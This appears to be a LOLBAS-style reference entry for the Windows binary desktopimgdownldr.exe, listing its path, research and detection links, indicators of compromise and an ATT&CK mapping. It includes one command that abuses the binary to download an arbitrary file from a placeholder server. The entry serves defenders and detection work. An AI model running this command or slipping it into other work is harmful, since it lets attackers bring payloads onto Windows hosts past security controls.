.. /Desktopimgdownldr.exe
Star

Windows binary used to configure lockscreen/desktop image

Paths:

c:\windows\system32\desktopimgdownldr.exe

Resources:

https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/

Acknowledgements:

Gal Kristal (@gal_kristal)

Detection:

Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_desktopimgdownldr_susp_execution.yml
Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/file/file_event/file_event_win_susp_desktopimgdownldr_file.yml
Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/command_and_control_remote_file_copy_desktopimgdownldr.toml
IOC: desktopimgdownldr.exe that creates non-image file
IOC: Change of HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP\LockScreenImageUrl

Download

Downloads the file and sets it as the computer's lockscreen
```
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
```
Use case
Download arbitrary files from a web server

Privileges required
User

Operating systems
Windows 10, Windows 11

ATT&CK® technique
T1105